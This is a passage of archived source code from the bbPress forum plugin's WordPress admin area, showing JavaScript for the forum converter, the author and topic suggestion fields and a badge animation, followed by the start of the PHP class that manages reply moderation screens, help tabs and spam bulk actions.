c(t,e){clearTimeout(BBP_Converter.state.running),clearInterval(BBP_Converter.state.status),BBP_Converter.state.running=!1,BBP_Converter.state.status=!1,t||(t=BBP_Converter.strings.button_continue),e||(e=BBP_Converter.strings.status_stopped),_(t,e,BBP_Converter.strings.status_stopped),b.show(),l.hide(),P.css("visibility","hidden"),h.prop("readonly",!1)}function _(t,e,r){b.val(t),p(e),C.text(r)}function u(t){var e=parseInt(BBP_Converter.state.delay,10)/1e3;C.text(BBP_Converter.strings.status_counting.replace("%s",e)),clearInterval(BBP_Converter.state.status),BBP_Converter.state.status=setInterval(function(){e--,C.text(BBP_Converter.strings.status_counting.replace("%s",e)),e<=0&&(clearInterval(BBP_Converter.state.status),parseInt(t.current_step,10)<parseInt(t.final_step,10)?C.text(BBP_Converter.strings.status_up_next.replace("%s",t.current_step)):C.text(BBP_Converter.strings.status_complete))},1e3)}function p(t){t="<p>"+t+"</p>",v.prepend(t)}function B(t,e){m.width(t+"%"),x.width(e+"%")}var v=t("#bbp-converter-message"),l=t("#bbp-converter-stop"),b=t("#bbp-converter-start"),g=t("#_bbp_converter_restart"),C=t("#bbp-converter-status"),P=t("#bbp-converter-spinner"),d=t("#bbp-converter-settings"),f=t("#_bbp_converter_db_pass"),y=t(".bbp-db-pass-toggle"),m=t("#bbp-converter-step-percentage"),x=t("#bbp-converter-total-percentage"),h=d.find("table:first-of-type input, table:first-of-type select");y.on("click",function(t){var e="password"===f.attr("type")?"text":"password";f.attr("type",e),y.toggleClass("password").toggleClass("text"),t.preventDefault()}),b.on("click",function(t){e(),t.preventDefault()}),t(l).on("click",function(t){r(),t.preventDefault()})});includes/admin/assets/js/topics.js000066600000000244151771460310013230 0ustar00jQuery( document ).ready( function() {
	jQuery( '#misc-publishing-actions' ).find( '.misc-pub-section' ).first().remove();
	jQuery( '#save-action' ).remove();
} );
includes/admin/assets/js/common.js000066600000000522151771460310013216 0ustar00jQuery( document ).ready( function() {

	var bbp_author_id = jQuery( '#bbp_author_id' );

	bbp_author_id.suggest(
		bbp_author_id.data( 'ajax-url' ),
		{
			minchars: 1, // Allow single-digit user IDs
			onSelect: function() {
				var value = this.value;
				bbp_author_id.val( value.substr( 0, value.indexOf( ' ' ) ) );
			}
		}
	);
} );includes/admin/assets/js/converter.js000066600000016415151771460310013745 0ustar00/*jshint sub:true*/
/* global document, jQuery, ajaxurl, BBP_Converter */
jQuery( document ).ready( function ( $ ) {
	'use strict';

	// Variables
	var message  = $( '#bbp-converter-message'  ),
		stop     = $( '#bbp-converter-stop'     ),
		start    = $( '#bbp-converter-start'    ),
		restart  = $( '#_bbp_converter_restart' ),
		status   = $( '#bbp-converter-status'   ),
		spinner  = $( '#bbp-converter-spinner'  ),
		settings = $( '#bbp-converter-settings' ),
		password = $( '#_bbp_converter_db_pass' ),
		toggle   = $( '.bbp-db-pass-toggle'     ),
		step_p   = $( '#bbp-converter-step-percentage'  ),
		total_p  = $( '#bbp-converter-total-percentage' ),
		fields   = settings.find( 'table:first-of-type input, table:first-of-type select' );

	/**
	 * Show/hide db password button toggle
	 *
	 * @since 2.6.0 bbPress (r6676)
	 *
	 * @param {element} e
	 */
	toggle.on( 'click', function( e ) {
		var type = ( password.attr( 'type' ) === 'password' ) ? 'text' : 'password';

		password.attr( 'type', type );

		toggle
			.toggleClass( 'password' )
			.toggleClass( 'text' );

		e.preventDefault();
	});

	/**
	 * Start button click
	 *
	 * @since 2.6.0 bbPress (r6470)
	 *
	 * @param {element} e
	 */
	start.on( 'click', function( e ) {
		bbp_converter_user_start();
		e.preventDefault();
	} );

	/**
	 * Stop button click
	 *
	 * @since 2.6.0 bbPress (r6470)
	 *
	 * @param {element} e
	 */
	$( stop ).on( 'click', function( e ) {
		bbp_converter_user_stop();
		e.preventDefault();
	} );

	/**
	 * Start the converter
	 *
	 * @since 2.6.0 bbPress (r6470)
	 *
	 * @returns {void}
	 */
	function bbp_converter_user_start() {
		bbp_converter_start();
	}

	/**
	 * Stop the converter
	 *
	 * @since 2.6.0 bbPress (r6470)
	 *
	 * @returns {void}
	 */
	function bbp_converter_user_stop() {
		bbp_converter_stop(
			BBP_Converter.strings.button_continue,
			BBP_Converter.strings.import_stopped_user
		);
	}

	/**
	 * Return values of converter settings
	 *
	 * @since 2.6.0 bbPress (r6470)
	 *
	 * @returns {converterL#2.bbp_converter_settings.values}
	 */
	function bbp_converter_settings() {
		var values = {};

		$.each( settings.serializeArray(), function( i, field ) {
			values[ field.name ] = field.value;
		} );

		if ( values['_bbp_converter_restart'] ) {
			restart.removeAttr( 'checked' );
		}

		if ( values['_bbp_converter_delay_time'] ) {
			BBP_Converter.state.delay = parseInt( values['_bbp_converter_delay_time'], 10 ) * 1000;
		}

		values['action']      = 'bbp_converter_process';
		values['_ajax_nonce'] = BBP_Converter.ajax_nonce;

		return values;
	}

	/**
	 * Run the converter step
	 *
	 * @since 2.6.0 bbPress (r6470)
	 *
	 * @returns {void}
	 */
	function bbp_converter_post() {
		$.post( ajaxurl, bbp_converter_settings(), function( response ) {

			// Parse the json response
			try {
				var data = response.data;

				// Success
				if ( true === response.success ) {
					bbp_converter_step( data );

				// Failure
				} else {
					bbp_converter_stop();
				}

			} catch( e ) {
				bbp_converter_stop();
			}
		}, 'json' );
	}

	/**
	 * Process the next step
	 *
	 * @since 2.6.0 bbPress (r6600)
	 *
	 * @param {object} data
	 * @returns {void}
	 */
	function bbp_converter_step( data ) {

		// Bail if not running
		if ( ! BBP_Converter.state.running ) {
			return;
		}

		// Do the step
		bbp_converter_log( data.progress );
		bbp_converter_percentages( data.step_percent, data.total_percent );
		bbp_converter_status( data );
		bbp_converter_wait();

		// Done
		if ( data.current_step === data.final_step ) {
			bbp_converter_stop(
				BBP_Converter.strings.button_start,
				BBP_Converter.strings.import_complete
			);
		}
	}

	/**
	 * Wait to do the next AJAX request
	 *
	 * @since 2.6.0 bbPress (r6600)
	 *
	 * @returns {void}
	 */
	function bbp_converter_wait() {
		clearTimeout( BBP_Converter.state.running );

		// Bail if not running
		if ( ! BBP_Converter.state.running ) {
			return;
		}

		// Wait, then POST
		BBP_Converter.state.running = setTimeout( function() {
			bbp_converter_post();
		}, parseInt( BBP_Converter.state.delay, 10 ) );
	}

	/**
	 * Start the converter and set the various flags
	 *
	 * @since 2.6.0 bbPress (r6600)
	 *
	 * @returns {void}
	 */
	function bbp_converter_start() {
		clearTimeout( BBP_Converter.state.running );
		clearInterval( BBP_Converter.state.status );

		BBP_Converter.state.running = true;

		var log = BBP_Converter.strings.start_continue;
		if ( false === BBP_Converter.state.started ) {
			log = BBP_Converter.strings.start_start;
			BBP_Converter.state.started = true;
		}

		bbp_converter_update(
			BBP_Converter.strings.button_continue,
			log,
			BBP_Converter.strings.status_starting
		);

		message.addClass( 'started' );

		start.hide();
		stop.show();
console.log( fields );
		spinner.css( 'visibility', 'visible' );
		fields.prop( 'readonly', true );

		bbp_converter_post();
	}

	/**
	 * Stop the converter, and update the UI
	 *
	 * @since 2.6.0 bbPress (r6470)
	 *
	 * @param {string} button New text for button
	 * @param {string} log    New text to add to import monitor
	 *
	 * @returns {void}
	 */
	function bbp_converter_stop( button, log ) {
		clearTimeout( BBP_Converter.state.running );
		clearInterval( BBP_Converter.state.status );

		BBP_Converter.state.running = false;
		BBP_Converter.state.status  = false;

		if ( ! button ) {
			button = BBP_Converter.strings.button_continue;
		}

		if ( ! log ) {
			log = BBP_Converter.strings.status_stopped;
		}

		bbp_converter_update(
			button,
			log,
			BBP_Converter.strings.status_stopped
		);

		start.show();
		stop.hide();

		spinner.css( 'visibility', 'hidden' );
		fields.prop( 'readonly', false );
	}

	/**
	 * Update the various screen texts
	 *
	 * @since 2.6.0 bbPress (r6600)
	 *
	 * @param {string} b_text
	 * @param {string} p_text
	 * @param {string} s_text
	 *
	 * @returns {void}
	 */
	function bbp_converter_update( b_text, p_text, s_text ) {
		start.val( b_text );
		bbp_converter_log( p_text );
		status.text( s_text );
	}

	/**
	 * Update the status
	 *
	 * @since 2.6.0 bbPress (r6513)
	 *
	 * @param {object} data
	 *
	 * @returns {void}
	 */
	function bbp_converter_status( data ) {
		var remaining = parseInt( BBP_Converter.state.delay, 10 ) / 1000;

		status.text( BBP_Converter.strings.status_counting.replace( '%s', remaining ) );
		clearInterval( BBP_Converter.state.status );

		BBP_Converter.state.status = setInterval( function() {
			remaining--;
			status.text( BBP_Converter.strings.status_counting.replace( '%s', remaining ) );

			if ( remaining <= 0 ) {
				clearInterval( BBP_Converter.state.status );

				if ( parseInt( data.current_step, 10 ) < parseInt( data.final_step, 10 ) ) {
					status.text( BBP_Converter.strings.status_up_next.replace( '%s', data.current_step ) );
				} else {
					status.text( BBP_Converter.strings.status_complete );
				}
			}
		}, 1000 );
	}

	/**
	 * Prepend some text to the import monitor
	 *
	 * @since 2.6.0 bbPress (r6470)
	 *
	 * @param {string} text Text to prepend to the import monitor
	 *
	 * @returns {void}
	 */
	function bbp_converter_log( text ) {
		text = '<p>' + text + '</p>';

		message.prepend( text );
	}

	/**
	 * Prepend some text to the import monitor
	 *
	 * @since 2.6.0 bbPress (r6470)
	 *
	 * @returns {void}
	 */
	function bbp_converter_percentages( step_percent, total_percent ) {
		step_p.width( step_percent + '%' );
		total_p.width( total_percent + '%' );
	}
} );
includes/admin/assets/js/badge.js000066600000002303151771460310012767 0ustar00(function () {
	window.requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame;

	var field    = document.getElementById( 'bbp-badge' ),
		bee      = document.getElementById( 'bbp-bee'   ),

		max_x    = field.clientWidth  - bee.offsetWidth,
		max_y    = field.clientHeight - bee.offsetHeight,
		angle    = 95,
		offset   = 95,

		duration = 4,
		canvas   = 50,
		start    = null,
		variance = 1;

	function step( timestamp ) {
		var progress, x, y;

		if ( start === null ) {
			start    = timestamp;
			variance = 1;
			angle    = 95;
		}

		progress = ( timestamp - start ) / duration / 1000;
		angle    = ( 360 * progress ) + offset;

		x = variance * Math.sin( progress * 2 * Math.PI );
		y = Math.cos( progress * 2 * Math.PI );

		bee.style.left            = max_x / 2 + ( canvas * x ) + 'px';
		bee.style.bottom          = max_y / 2 + ( canvas * y ) + 'px';
		bee.style.transform       = 'rotate(' + angle + 'deg)';
		bee.style.webkitTransform = 'rotate(' + angle + 'deg)';

		// Reset
		if ( progress >= 1 ) {
			start = null;
		}

		requestAnimationFrame( step );
	}

	requestAnimationFrame( step );
})();
includes/admin/assets/js/badge.min.js000066600000001312151771460310013550 0ustar00/*! This file is automatically generated. */

!function(){function e(t){var u,w,b;null===l&&(l=t,d=1,a=95),a=360*(u=(t-l)/r/1e3)+m,w=d*Math.sin(2*u*Math.PI),b=Math.cos(2*u*Math.PI),n.style.left=i/2+s*w+"px",n.style.bottom=o/2+s*b+"px",n.style.transform="rotate("+a+"deg)",n.style.webkitTransform="rotate("+a+"deg)",u>=1&&(l=null),requestAnimationFrame(e)}window.requestAnimationFrame=window.requestAnimationFrame||window.mozRequestAnimationFrame||window.webkitRequestAnimationFrame||window.msRequestAnimationFrame;var t=document.getElementById("bbp-badge"),n=document.getElementById("bbp-bee"),i=t.clientWidth-n.offsetWidth,o=t.clientHeight-n.offsetHeight,a=95,m=95,r=4,s=50,l=null,d=1;requestAnimationFrame(e)}();includes/admin/assets/js/replies.js000066600000000626151771460310013376 0ustar00jQuery( document ).ready(function() {

	jQuery( '#misc-publishing-actions' ).find( '.misc-pub-section' ).first().remove();
	jQuery( '#save-action' ).remove();

	var bbp_topic_id = jQuery( '#bbp_topic_id' );

	bbp_topic_id.suggest(
		bbp_topic_id.data( 'ajax-url' ),
		{
			onSelect: function() {
				var value = this.value;
				bbp_topic_id.val( value.substr( 0, value.indexOf( ' ' ) ) );
			}
		}
	);
} );includes/admin/assets/js/topics.min.js000066600000000300151771460310014003 0ustar00/*! This file is automatically generated. */

jQuery(document).ready(function(){jQuery("#misc-publishing-actions").find(".misc-pub-section").first().remove(),jQuery("#save-action").remove()});includes/admin/replies.php000066600000106235151771460310011636 0ustar00<?php

/**
 * bbPress Replies Admin Class
 *
 * @package bbPress
 * @subpackage Administration
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

if ( ! class_exists( 'BBP_Replies_Admin' ) ) :
/**
 * Loads bbPress replies admin area
 *
 * @package bbPress
 * @subpackage Administration
 * @since 2.0.0 bbPress (r2464)
 */
class BBP_Replies_Admin {

	/** Variables *************************************************************/

	/**
	 * @var The post type of this admin component
	 */
	private $post_type = '';

	/** Functions *************************************************************/

	/**
	 * The main bbPress admin loader
	 *
	 * @since 2.0.0 bbPress (r2515)
	 */
	public function __construct() {
		$this->setup_globals();
		$this->setup_actions();
	}

	/**
	 * Setup the admin hooks, actions and filters
	 *
	 * @since 2.0.0 bbPress (r2646)
	 * @since 2.6.0 bbPress (r6101) Added bulk actions
	 *
	 * @access private
	 */
	private function setup_actions() {

		// Messages
		add_filter( 'post_updated_messages', array( $this, 'updated_messages' ) );

		// Reply bulk actions, added in WordPress 4.7, see #WP16031
		if ( bbp_get_major_wp_version() >= 4.7 ) {
			add_filter( 'bulk_actions-edit-reply',        array( $this, 'bulk_actions' ) );
			add_filter( 'handle_bulk_actions-edit-reply', array( $this, 'handle_bulk_actions' ), 10, 3 );
			add_filter( 'bulk_post_updated_messages',     array( $this, 'bulk_post_updated_messages' ), 10, 2 );
		}

		// Reply column headers.
		add_filter( 'manage_' . $this->post_type . '_posts_columns',  array( $this, 'column_headers' ) );

		// Reply columns (in post row)
		add_action( 'manage_' . $this->post_type . '_posts_custom_column',  array( $this, 'column_data' ), 10, 2 );
		add_filter( 'post_row_actions',                                     array( $this, 'row_actions' ), 10, 2 );

		// Reply meta-box actions
		add_action( 'add_meta_boxes', array( $this, 'attributes_metabox' ) );
		add_action( 'add_meta_boxes', array( $this, 'author_metabox'     ) );
		add_action( 'add_meta_boxes', array( $this, 'comments_metabox'   ) );
		add_action( 'save_post',      array( $this, 'save_meta_boxes'    ) );

		// Check if there are any bbp_toggle_reply_* requests on admin_init, also have a message displayed
		add_action( 'load-edit.php', array( $this, 'toggle_reply'        ) );
		add_action( 'load-edit.php', array( $this, 'toggle_reply_notice' ) );

		// Add ability to filter topics and replies per forum
		add_filter( 'restrict_manage_posts', array( $this, 'filter_dropdown'  ) );
		add_filter( 'bbp_request',           array( $this, 'filter_post_rows' ) );

		// Empty spam
		add_filter( 'manage_posts_extra_tablenav', array( $this, 'filter_empty_spam' ) );

		// Contextual Help
		add_action( 'load-edit.php',     array( $this, 'edit_help' ) );
		add_action( 'load-post.php',     array( $this, 'new_help'  ) );
		add_action( 'load-post-new.php', array( $this, 'new_help'  ) );
	}

	/**
	 * Admin globals
	 *
	 * @since 2.0.0 bbPress (r2646)
	 *
	 * @access private
	 */
	private function setup_globals() {
		$this->post_type = bbp_get_reply_post_type();
	}

	/** Contextual Help *******************************************************/

	/**
	 * Contextual help for bbPress reply edit page
	 *
	 * @since 2.0.0 bbPress (r3119)
	 */
	public function edit_help() {

		// Overview
		get_current_screen()->add_help_tab( array(
			'id'		=> 'overview',
			'title'		=> __( 'Overview', 'bbpress' ),
			'content'	=>
				'<p>' . __( 'This screen provides access to all of your replies. You can customize the display of this screen to suit your workflow.', 'bbpress' ) . '</p>'
		) );

		// Screen Content
		get_current_screen()->add_help_tab( array(
			'id'		=> 'screen-content',
			'title'		=> __( 'Screen Content', 'bbpress' ),
			'content'	=>
				'<p>' . __( 'You can customize the display of this screen&#8217;s contents in a number of ways:', 'bbpress' ) . '</p>' .
				'<ul>' .
					'<li>' . __( 'You can hide/display columns based on your needs and decide how many replies to list per screen using the Screen Options tab.',                                                                         'bbpress' ) . '</li>' .
					'<li>' . __( 'You can filter the list of replies by reply status using the text links in the upper left to show All, Published, Draft, Pending, Trashed, or Spam replies. The default view is to show all replies.',  'bbpress' ) . '</li>' .
					'<li>' . __( 'You can view replies in a simple title list or with an excerpt. Choose the view you prefer by clicking on the icons at the top of the list on the right.',                                              'bbpress' ) . '</li>' .
					'<li>' . __( 'You can refine the list to show only replies in a specific forum or from a specific month by using the dropdown menus above the replies list. Click the Filter button after making your selection.', 'bbpress' ) . '</li>' .
				'</ul>'
		) );

		// Available Actions
		get_current_screen()->add_help_tab( array(
			'id'		=> 'action-links',
			'title'		=> __( 'Available Actions', 'bbpress' ),
			'content'	=>
				'<p>' . __( 'Hovering over a row in the replies list will display action links that allow you to manage your reply. You can perform the following actions:', 'bbpress' ) . '</p>' .
				'<ul>' .
					'<li>' . __( '<strong>Edit</strong> takes you to the editing screen for that reply. You can also reach that screen by clicking on the reply title.',                  'bbpress' ) . '</li>' .
					//'<li>' . __( '<strong>Quick Edit</strong> provides inline access to the metadata of your reply, allowing you to update reply details without leaving this screen.', 'bbpress' ) . '</li>' .
					'<li>' . __( '<strong>Trash</strong> removes your reply from this list and places it in the trash, from which you can permanently delete it.',                        'bbpress' ) . '</li>' .
					'<li>' . __( '<strong>Spam</strong> removes your reply from this list and places it in the spam queue, from which you can permanently delete it.',                    'bbpress' ) . '</li>' .
					'<li>' . __( '<strong>View</strong> will take you to your live site to view the reply.',                                                                              'bbpress' ) . '</li>' .
					'<li>' . __( '<strong>Approve</strong> will change the status from pending to publish.',                                                                              'bbpress' ) . '</li>' .
				'</ul>'
		) );

		// Bulk Actions
		get_current_screen()->add_help_tab( array(
			'id'		=> 'bulk-actions',
			'title'		=> __( 'Bulk Actions', 'bbpress' ),
			'content'	=>
				'<p>' . __( 'You can also edit, spam, or move multiple replies to the trash at once. Select the replies you want to act on using the checkboxes, then select the action you want to take from the Bulk Actions menu and click Apply.',           'bbpress' ) . '</p>' .
				'<p>' . __( 'When using Bulk Edit, you can change the metadata (categories, author, etc.) for all selected replies at once. To remove a reply from the grouping, just click the x next to its name in the Bulk Edit area that appears.', 'bbpress' ) . '</p>'
		) );

		// Help Sidebar
		get_current_screen()->set_help_sidebar(
			'<p><strong>' . __( 'For more information:', 'bbpress' ) . '</strong></p>' .
			'<p>' . __( '<a href="https://codex.bbpress.org" target="_blank">bbPress Documentation</a>',    'bbpress' ) . '</p>' .
			'<p>' . __( '<a href="https://bbpress.org/forums/" target="_blank">bbPress Support Forums</a>', 'bbpress' ) . '</p>'
		);
	}

	/**
	 * Contextual help for bbPress reply edit page
	 *
	 * @since 2.0.0 bbPress (r3119)
	 */
	public function new_help() {

		$customize_display = '<p>' . __( 'The title field and the big reply editing Area are fixed in place, but you can reposition all the other boxes using drag and drop, and can minimize or expand them by clicking the title bar of each box. Use the Screen Options tab to unhide more boxes (Excerpt, Send Trackbacks, Custom Fields, Discussion, Slug, Author) or to choose a 1- or 2-column layout for this screen.', 'bbpress' ) . '</p>';

		get_current_screen()->add_help_tab( array(
			'id'      => 'customize-display',
			'title'   => __( 'Customizing This Display', 'bbpress' ),
			'content' => $customize_display,
		) );

		get_current_screen()->add_help_tab( array(
			'id'      => 'title-reply-editor',
			'title'   => __( 'Title and Reply Editor', 'bbpress' ),
			'content' =>
				'<p>' . __( '<strong>Title</strong> - Enter a title for your reply. After you enter a title, you&#8217;ll see the permalink below, which you can edit.', 'bbpress' ) . '</p>' .
				'<p>' . __( '<strong>Reply Editor</strong> - Enter the text for your reply. There are two modes of editing: Visual and HTML. Choose the mode by clicking on the appropriate tab. Visual mode gives you a WYSIWYG editor. Click the last icon in the row to get a second row of controls. The HTML mode allows you to enter raw HTML along with your reply text. You can insert media files by clicking the icons above the reply editor and following the directions. You can go to the distraction-free writing screen via the Fullscreen icon in Visual mode (second to last in the top row) or the Fullscreen button in HTML mode (last in the row). Once there, you can make buttons visible by hovering over the top area. Exit Fullscreen back to the regular reply editor.', 'bbpress' ) . '</p>'
		) );

		$publish_box = '<p>' . __( '<strong>Publish</strong> - You can set the terms of publishing your reply in the Publish box. For Status, Visibility, and Publish (immediately), click on the Edit link to reveal more options. Visibility includes options for password-protecting a reply or making it stay at the top of your blog indefinitely (sticky). Publish (immediately) allows you to set a future or past date and time, so you can schedule a reply to be published in the future or backdate a reply.', 'bbpress' ) . '</p>';

		if ( current_theme_supports( 'reply-thumbnails' ) && post_type_supports( bbp_get_reply_post_type(), 'thumbnail' ) ) {
			$publish_box .= '<p>' . __( '<strong>Featured Image</strong> - This allows you to associate an image with your reply without inserting it. This is usually useful only if your theme makes use of the featured image as a reply thumbnail on the home page, a custom header, etc.', 'bbpress' ) . '</p>';
		}

		get_current_screen()->add_help_tab( array(
			'id'      => 'reply-attributes',
			'title'   => __( 'Reply Attributes', 'bbpress' ),
			'content' =>
				'<p>' . __( 'Select the attributes that your reply should have:', 'bbpress' ) . '</p>' .
				'<ul>' .
					'<li>' . __( '<strong>Forum</strong> dropdown determines the parent forum that the reply belongs to. Select the forum, or leave the default (Use Forum of Topic) to post the reply in forum of the topic.', 'bbpress' ) . '</li>' .
					'<li>' . __( '<strong>Topic</strong> determines the parent topic that the reply belongs to.', 'bbpress' ) . '</li>' .
					'<li>' . __( '<strong>Reply To</strong> determines the threading of the reply.', 'bbpress' ) . '</li>' .
				'</ul>'
		) );

		get_current_screen()->add_help_tab( array(
			'id'      => 'publish-box',
			'title'   => __( 'Publish Box', 'bbpress' ),
			'content' => $publish_box,
		) );

		get_current_screen()->set_help_sidebar(
			'<p><strong>' . __( 'For more information:', 'bbpress' ) . '</strong></p>' .
			'<p>' . __( '<a href="https://codex.bbpress.org" target="_blank">bbPress Documentation</a>',    'bbpress' ) . '</p>' .
			'<p>' . __( '<a href="https://bbpress.org/forums/" target="_blank">bbPress Support Forums</a>', 'bbpress' ) . '</p>'
		);
	}

	/**
	 * Add spam/unspam bulk actions to the bulk action dropdown.
	 *
	 * @since 2.6.0 bbPress (r6101)
	 *
	 * @param array $actions The list of bulk actions.
	 * @return array The filtered list of bulk actions.
	 */
	public function bulk_actions( $actions ) {

		if ( current_user_can( 'moderate' ) ) {
			if ( bbp_get_spam_status_id() === get_query_var( 'post_status' ) ) {
				$actions['unspam'] = esc_html__( 'Unspam', 'bbpress' );
			} else {
				$actions['spam'] = esc_html__( 'Spam', 'bbpress' );
			}
		}

		return $actions;
	}

	/**
	 * Add custom bulk action updated messages for replies.
	 *
	 * @since 2.6.0 bbPress (r6101)
	 *
	 * @param array $bulk_messages Arrays of messages, each keyed by the corresponding post type.
	 * @param array $bulk_counts   Array of item counts for each message, used to build internationalized strings.
	 */
	public function bulk_post_updated_messages( $bulk_messages, $bulk_counts ) {
		$bulk_messages['reply']['updated'] = _n( '%s reply updated.', '%s replies updated.', $bulk_counts['updated'], 'bbpress');
		$bulk_messages['reply']['locked']  = ( 1 === $bulk_counts['locked'] )
			? __( '1 reply not updated, somebody is editing it.', 'bbpress' )
			: _n( '%s reply not updated, somebody is editing it.', '%s replies not updated, somebody is editing them.', $bulk_counts['locked'], 'bbpress' );

		return $bulk_messages;
	}

	/**
	 * Handle spam/unspam bulk actions.
	 *
	 * @since 2.6.0 bbPress (r6101)
	 *
	 * @param string $sendback The sendback URL.
	 * @param string $doaction The action to be taken.
	 * @param array  $post_ids The post IDS to take the action on.
	 * @return string The sendback URL.
	 */
	public function handle_bulk_actions( $sendback, $doaction, $post_ids ) {

		$sendback = remove_query_arg( array( 'spam', 'unspam' ), $sendback );
		$updated = $locked = 0;

		if ( 'spam' === $doaction ) {

			foreach ( (array) $post_ids as $post_id ) {
				if ( ! current_user_can( 'moderate', $post_id ) ) {
					wp_die( esc_html__( 'Sorry, you are not allowed to spam this item.', 'bbpress' ) );
				}

				if ( wp_check_post_lock( $post_id ) ) {
					$locked++;
					continue;
				}

				if ( ! bbp_spam_reply( $post_id ) ) {
					wp_die( esc_html__( 'Error in spamming reply.', 'bbpress' ) );
				}

				$updated++;
			}

			$sendback = add_query_arg( array(
				'updated' => $updated,
				'ids'     => implode( ',', $post_ids ),
				'locked'  => $locked
			), $sendback );

		} elseif ( 'unspam' === $doaction ) {

			foreach ( (array) $post_ids as $post_id ) {
				if ( ! current_user_can( 'moderate', $post_id ) ) {
					wp_die( esc_html__( 'Sorry, you are not allowed to unspam this reply.', 'bbpress' ) );
				}

				if ( wp_check_post_lock( $post_id ) ) {
					$locked++;
					continue;
				}

				if ( ! bbp_unspam_reply( $post_id ) ) {
					wp_die( esc_html__( 'Error in unspamming reply.', 'bbpress' ) );
				}

				$updated++;
			}

			$sendback = add_query_arg( array(
				'updated' => $updated,
				'ids'     => implode( ',', $post_ids ),
				'locked'  => $locked
			), $sendback );
		}

		return $sendback;
	}

	/**
	 * Add the reply attributes meta-box
	 *
	 * @since 2.0.0 bbPress (r2746)
	 */
	public function attributes_metabox() {
		add_meta_box(
			'bbp_reply_attributes',
			esc_html__( 'Reply Attributes', 'bbpress' ),
			'bbp_reply_metabox',
			$this->post_type,
			'side',
			'high'
		);
	}

	/**
	 * Add the author info meta-box
	 *
	 * Allows editing of information about an author
	 *
	 * @since 2.0.0 bbPress (r2828)
	 */
	public function author_metabox() {

		// Bail if post_type is not a reply
		if ( empty( $_GET['action'] ) || ( 'edit' !== $_GET['action'] ) ) {
			return;
		}

		// Add the meta-box
		add_meta_box(
			'bbp_author_metabox',
			esc_html__( 'Author Information', 'bbpress' ),
			'bbp_author_metabox',
			$this->post_type,
			'side',
			'high'
		);
	}

	/**
	 * Remove comments & discussion meta-boxes if comments are not supported
	 *
	 * @since 2.6.0 bbPress (r6186)
	 */
	public function comments_metabox() {
		if ( ! post_type_supports( $this->post_type, 'comments' ) ) {
			remove_meta_box( 'commentstatusdiv', $this->post_type, 'normal' );
			remove_meta_box( 'commentsdiv',      $this->post_type, 'normal' );
		}
	}

	/**
	 * Pass the reply attributes for processing
	 *
	 * @since 2.0.0 bbPress (r2746)
	 *
	 * @param int $reply_id Reply id
	 * @return int Parent id
	 */
	public function save_meta_boxes( $reply_id ) {

		// Bail if doing an autosave
		if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
			return $reply_id;
		}

		// Bail if not a post request
		if ( ! bbp_is_post_request() ) {
			return $reply_id;
		}

		// Check action exists
		if ( empty( $_POST['action'] ) ) {
			return $reply_id;
		}

		// Nonce check
		if ( empty( $_POST['bbp_reply_metabox'] ) || ! wp_verify_nonce( $_POST['bbp_reply_metabox'], 'bbp_reply_metabox_save' ) ) {
			return $reply_id;
		}

		// Bail if current user cannot edit this reply
		if ( ! current_user_can( 'edit_reply', $reply_id ) ) {
			return $reply_id;
		}

		// Get the reply meta post values
		$topic_id = ! empty( $_POST['parent_id']    ) ? (int) $_POST['parent_id']    : 0;
		$forum_id = ! empty( $_POST['bbp_forum_id'] ) ? (int) $_POST['bbp_forum_id'] : bbp_get_topic_forum_id( $topic_id );
		$reply_to = ! empty( $_POST['bbp_reply_to'] ) ? (int) $_POST['bbp_reply_to'] : 0;

		// Get reply author data
		$anonymous_data = bbp_filter_anonymous_post_data();
		$author_id      = bbp_get_reply_author_id( $reply_id );
		$is_edit        = ( isset( $_POST['hidden_post_status'] ) && ( $_POST['hidden_post_status'] !== 'draft' ) );

		// Formally update the reply
		bbp_update_reply( $reply_id, $topic_id, $forum_id, $anonymous_data, $author_id, $is_edit, $reply_to );

		// Allow other fun things to happen
		do_action( 'bbp_reply_attributes_metabox_save', $reply_id, $topic_id, $forum_id, $reply_to );
		do_action( 'bbp_author_metabox_save',           $reply_id, $anonymous_data                 );

		return $reply_id;
	}

	/**
	 * Toggle reply
	 *
	 * Handles the admin-side spamming/unspamming of replies
	 *
	 * @since 2.0.0 bbPress (r2740)
	 */
	public function toggle_reply() {

		// Bail if not a topic toggle action
		if ( ! bbp_is_get_request() || empty( $_GET['action'] ) || empty( $_GET['reply_id'] ) ) {
			return;
		}

		// Bail if not an allowed action
		$action = sanitize_key( $_GET['action'] );
		if ( empty( $action ) || ! in_array( $action, $this->get_allowed_action_toggles(), true ) ) {
			return;
		}

		// Get reply and die if empty
		$reply_id = bbp_get_reply_id( $_GET['reply_id'] );
		if ( ! bbp_get_reply( $reply_id ) ) {
			wp_die( esc_html__( 'The reply was not found.', 'bbpress' ) );
		}

		// What is the user doing here?
		if ( ! current_user_can( 'moderate', $reply_id ) ) {
			wp_die( esc_html__( 'You do not have permission to do that.', 'bbpress' ) );
		}

		// Defaults
		$post_data = array( 'ID' => $reply_id );
		$message   = '';
		$success   = false;

		switch ( $action ) {
			case 'bbp_toggle_reply_approve' :
				check_admin_referer( 'approve-reply_' . $reply_id );

				$is_approve = bbp_is_reply_public( $reply_id );
				$message    = ( true === $is_approve )
					? 'unpproved'
					: 'approved';
				$success    = ( true === $is_approve )
					? bbp_unapprove_reply( $reply_id )
					: bbp_approve_reply( $reply_id );

				break;

			case 'bbp_toggle_reply_spam' :
				check_admin_referer( 'spam-reply_' . $reply_id );

				$is_spam = bbp_is_reply_spam( $reply_id );
				$message = ( true === $is_spam )
					? 'unspammed'
					: 'spammed';
				$success = ( true === $is_spam )
					? bbp_unspam_reply( $reply_id )
					: bbp_spam_reply( $reply_id );

				break;
		}

		// Setup the message
		$retval = array(
			'bbp_reply_toggle_notice' => $message,
			'reply_id'                => $reply_id
		);

		// Prepare for failure
		if ( ( false === $success ) || is_wp_error( $success ) ) {
			$retval['failed'] = '1';
		}

		// Filter all message args
		$retval = apply_filters( 'bbp_toggle_reply_action_admin', $retval, $reply_id, $action );

		// Do additional reply toggle actions (admin side)
		do_action( 'bbp_toggle_reply_admin', $success, $post_data, $action, $retval );

		// Redirect back to the reply
		$redirect = add_query_arg( $retval, remove_query_arg( array( 'action', 'reply_id' ) ) );
		bbp_redirect( $redirect );
	}

	/**
	 * Toggle reply notices
	 *
	 * Display the success/error notices from
	 * {@link BBP_Admin::toggle_reply()}
	 *
	 * @since 2.0.0 bbPress (r2740)
	 */
